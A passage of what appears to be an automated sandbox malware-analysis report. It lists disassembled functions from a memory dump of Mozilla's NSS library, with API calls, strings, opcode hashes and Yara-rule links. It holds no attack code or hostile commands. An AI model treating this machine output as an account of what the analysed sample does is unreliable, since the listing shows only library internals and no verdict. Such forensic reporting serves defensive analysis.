SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAC0E44
free.MOZGLUE(?), ref: 6CAC0E7E
free.MOZGLUE(?), ref: 6CAC0EAE

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DestroyError$K11_$ContextPrivatePublicUtilfree$Alloc_CreateFindFlagsGeneratePairTag_ValueWithmemcpy
String ID:
API String ID: 2510822978-0
Opcode ID: 631961a72a7c77da36bdc116bc99b39518c0f97c12188cc8586058fadf80f176
Instruction ID: 2c8d903e8a23592d6e71e3f404efa2abd6d882af7b51b6eb29e275fe81e5ce8a
Opcode Fuzzy Hash: 631961a72a7c77da36bdc116bc99b39518c0f97c12188cc8586058fadf80f176
Instruction Fuzzy Hash: 1491BFF5A08380AFD7009F69DD4574BBBE4AF84708F18852CE89997751EB30D998CB93

Function 6CA8EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8EF63

Part of subcall function 6CA987D0: PORT_NewArena_Util.NSS3(00000800,6CA8EF74,00000000), ref: 6CA987E8
Part of subcall function 6CA987D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CA8EF74,00000000), ref: 6CA987FD
Part of subcall function 6CA987D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CA9884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CA8F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CA8F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CA8F374
PL_strcasecmp.NSS3(6CBD2FD4,?), ref: 6CA8F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CA8F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CA8F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CA8F67D
CERT_DestroyName.NSS3(?), ref: 6CA8F68B

Part of subcall function 6CA98320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CA98338
Part of subcall function 6CA98320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CA98364
Part of subcall function 6CA98320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CA9838E
Part of subcall function 6CA98320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA983A5
Part of subcall function 6CA98320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA983E3

Part of subcall function 6CA984C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CA984D9
Part of subcall function 6CA984C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CA98528

Part of subcall function 6CA98900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CA98955

Strings

*, xrefs: 6CA8F3C6
oid., xrefs: 6CA8F2CF
", xrefs: 6CA8F21B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 7f6e53c317ee6bfcbeb7d3285fdd99d5bceaebeee24d0e5eb520ecec22eb5bf1
Instruction ID: 3e754c145feee37165174e1e3704fd9c1f53b5d57d7a3e9a183baf6d318c5b8d
Opcode Fuzzy Hash: 7f6e53c317ee6bfcbeb7d3285fdd99d5bceaebeee24d0e5eb520ecec22eb5bf1
Instruction Fuzzy Hash: 7222397160E3428FD714CE29CC903AAB7E6ABC5318F18462EE5D587B95E7319CC5C782

Function 6CAFEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CAFDAE2,?), ref: 6CAFC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CAFF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAFF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBC218C), ref: 6CAFF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CAFF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAFF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAFF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CAFF210

Part of subcall function 6CAA52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CAFF1E9,?,00000000,?,?), ref: 6CAA52F5
Part of subcall function 6CAA52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CAA530F
Part of subcall function 6CAA52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CAA5326
Part of subcall function 6CAA52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CAFF1E9,?,00000000,?,?), ref: 6CAA5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CAFF227

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CAFF23E

Part of subcall function 6CAEBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA9E708,00000000,00000000,00000004,00000000), ref: 6CAEBE6A
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAA04DC,?), ref: 6CAEBE7E
Part of subcall function 6CAEBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAEBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAFF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAFF3A8

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CAFF3B3

Part of subcall function 6CAA2D20: PK11_DestroyObject.NSS3(?,?), ref: 6CAA2D3C
Part of subcall function 6CAA2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAA2D5F

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: e3affd2f3392ea0c4e1584d19d395993184231b088c1337c642a9314437a0c83
Instruction ID: bff71c8166ab8711b386ee96bb509b9ab878232f084c94baa05a96855796bd6e
Opcode Fuzzy Hash: e3affd2f3392ea0c4e1584d19d395993184231b088c1337c642a9314437a0c83
Instruction Fuzzy Hash: CFD18DB6E012059FDB10CFA9DD80A9EB7F5EF48308F19812DE925A7711E771E886CB50

Function 6CADA9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CADA9CA

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CBF0B04,?), ref: 6CADA9F7

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CADAA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CADAA33
PK11_GetInternalKeySlot.NSS3 ref: 6CADAA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6CADAA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6CADAAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6CADAB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CADAB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6CADAB85
PK11_FreeSymKey.NSS3(00000000), ref: 6CADAB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CADABDC
PK11_FreeSymKey.NSS3(?), ref: 6CADABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CADABF7

Part of subcall function 6CADAC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CADAB3E,?,?,?), ref: 6CADAC35
Part of subcall function 6CADAC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CADAB3E,?,?,?), ref: 6CADAC55
Part of subcall function 6CADAC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CADAB3E,?,?), ref: 6CADAC70
Part of subcall function 6CADAC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CADAC92
Part of subcall function 6CADAC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CADAB3E), ref: 6CADACD7

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: 46601b10c54732052bd8539e4340ed1a5331eda217c9c74007833bfef9e1fd3c
Instruction ID: 76cb3fc9ac92f065c7617bd3fee5050330b17d383ae67cc7779706e6e6062748
Opcode Fuzzy Hash: 46601b10c54732052bd8539e4340ed1a5331eda217c9c74007833bfef9e1fd3c
Instruction Fuzzy Hash: 99712471A043059BD700CF24DD40B5BB3A6AF84358F1A4A28FD689B750FB71EDC98792

Function 6CA1ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA1EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CA1EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1F483
%s at line %d of [%.10s], xrefs: 6CA1F492
database corruption, xrefs: 6CA1F48D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: faa27704279845fb437324faa9b73ee2efddbc9c5699c7686301d936fb352901
Instruction ID: 01a395191523c19a16a70c99783452429b59906f169996839c87e8a58edbc71b
Opcode Fuzzy Hash: faa27704279845fb437324faa9b73ee2efddbc9c5699c7686301d936fb352901
Instruction Fuzzy Hash: 3662E174A082858FDB04CF69C884B9ABBB1BF45328F1C419DD8565BF92D735E8C6CB90

Function 6CAC0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CAC0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAC0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CAC1006
PK11_FreeSymKey.NSS3(?), ref: 6CAC101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAC1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CAC1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAC10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CAC10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CAC112E

Part of subcall function 6CAC1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CAC08C4,?,?), ref: 6CAC15B8
Part of subcall function 6CAC1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CAC08C4,?,?), ref: 6CAC15C1
Part of subcall function 6CAC1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC162E
Part of subcall function 6CAC1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC1637

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 78915ef522ec29d19d8e3fe71fc0461eddc40dab64e2551ed60e67c7562c2274
Instruction ID: 81e37c11e69b37abc4942c0a7dd9eca55136e22a247518f4d243eadbb6c7655d
Opcode Fuzzy Hash: 78915ef522ec29d19d8e3fe71fc0461eddc40dab64e2551ed60e67c7562c2274
Instruction Fuzzy Hash: 1071C0B1B002458FDB04CFA5DD84A6AB7F0FF48318F18862DEA1997711E731D989CB92

Function 6CAE6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C3F

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C60
PR_ExplodeTime.NSS3(00000000,6CA91C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CA91C6F,00000000,00000004,?,?), ref: 6CAE6C94

Strings

gfff, xrefs: 6CAE6D66
gfff, xrefs: 6CAE6D9C
gfff, xrefs: 6CAE6CF5
gfff, xrefs: 6CAE6D30
gfff, xrefs: 6CAE6CFD

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: a3294229888181108d6d27e9779954bc83be35e8eceaaebad79881d2c0520bd0
Instruction ID: 7d049e565a34465fcae1cacda9f078fe0dc481691af6e22d9f85e84a02c1f891
Opcode Fuzzy Hash: a3294229888181108d6d27e9779954bc83be35e8eceaaebad79881d2c0520bd0
Instruction Fuzzy Hash: 64513A72B016494FC708CDADDC927DEB7DAABA8310F48C23AE442DB781D638D946C791

Function 6CB60F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CB61027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB610B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB61353

Strings

$, xrefs: 6CB612A0
'%.*q', xrefs: 6CB61217, 6CB61292
%02x, xrefs: 6CB612F6
%lld, xrefs: 6CB6114B
NULL, xrefs: 6CB6119E
zeroblob(%d), xrefs: 6CB61223
-- , xrefs: 6CB60FF5

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: a3745c25167ee0a9e5fe0d47b61a3887e84dbccca10c277e6abfa2d8564575a6
Instruction ID: 28c946cef08c76d6d43cab6dcd8b6ecbfa0c975750e24552f191c0806b5c7f25
Opcode Fuzzy Hash: a3745c25167ee0a9e5fe0d47b61a3887e84dbccca10c277e6abfa2d8564575a6
Instruction Fuzzy Hash: 28E19D75A083809BD714CF1AC480A6BBBF5EF85358F08892DE98587B51E771E949CB83

Function 6CB68FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB68FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB690DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB69118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB6915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB691C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB69209

Strings

UUUU, xrefs: 6CB69255
3333, xrefs: 6CB6925E

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: d1d1c55dd0fd72906947836a3ef63e4424e475eb5ac01bdac0084e6fbc922802
Instruction ID: 4b44b3aa01e2c9cd30b3c944981bc5cf7320724b8c74e5bd4597c9b13471bb6d
Opcode Fuzzy Hash: d1d1c55dd0fd72906947836a3ef63e4424e475eb5ac01bdac0084e6fbc922802
Instruction Fuzzy Hash: BFA1AE72E001559BDB08CB69CC90BAEB7B9FF88324F094139E915A7741E736EC51CBA1

Function 6CA20FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CA2103E
EnterCriticalSection.KERNEL32(?), ref: 6CA21139
LeaveCriticalSection.KERNEL32(?), ref: 6CA21190
sqlite3_free.NSS3(00000000), ref: 6CA21227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CA2126E
sqlite3_free.NSS3(?), ref: 6CA2127F

Strings

winAccess, xrefs: 6CA2129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CA21267

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 92aa50f78b42a9b1fa4513be9cc29ef713a5788dcfeeecce756e5eabcb2629d2
Instruction ID: dfde9eaf98620ffe6d6bdce71c5eaf0db9b0fc8bedab87b15901ec084456c0ea
Opcode Fuzzy Hash: 92aa50f78b42a9b1fa4513be9cc29ef713a5788dcfeeecce756e5eabcb2629d2
Instruction Fuzzy Hash: B97119317042619BEB049F29ED85A7E3379FB46354F1C0229FA2587A80DB36DD85CB92

Function 6CA2AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31,?,?,?,?,?,?,?), ref: 6CA2B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31), ref: 6CA2B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31), ref: 6CA2B0A2
CloseHandle.KERNEL32(?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31,?,?,?,?,?,?,?,?,?), ref: 6CA2B100
sqlite3_free.NSS3(?,?,00000002,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31,?,?,?,?,?,?,?), ref: 6CA2B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31), ref: 6CA2B12D

Part of subcall function 6CA19EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA2C6FD,?,?,?,?,6CA7F965,00000000), ref: 6CA19F0E
Part of subcall function 6CA19EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA7F965,00000000), ref: 6CA19F5D

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
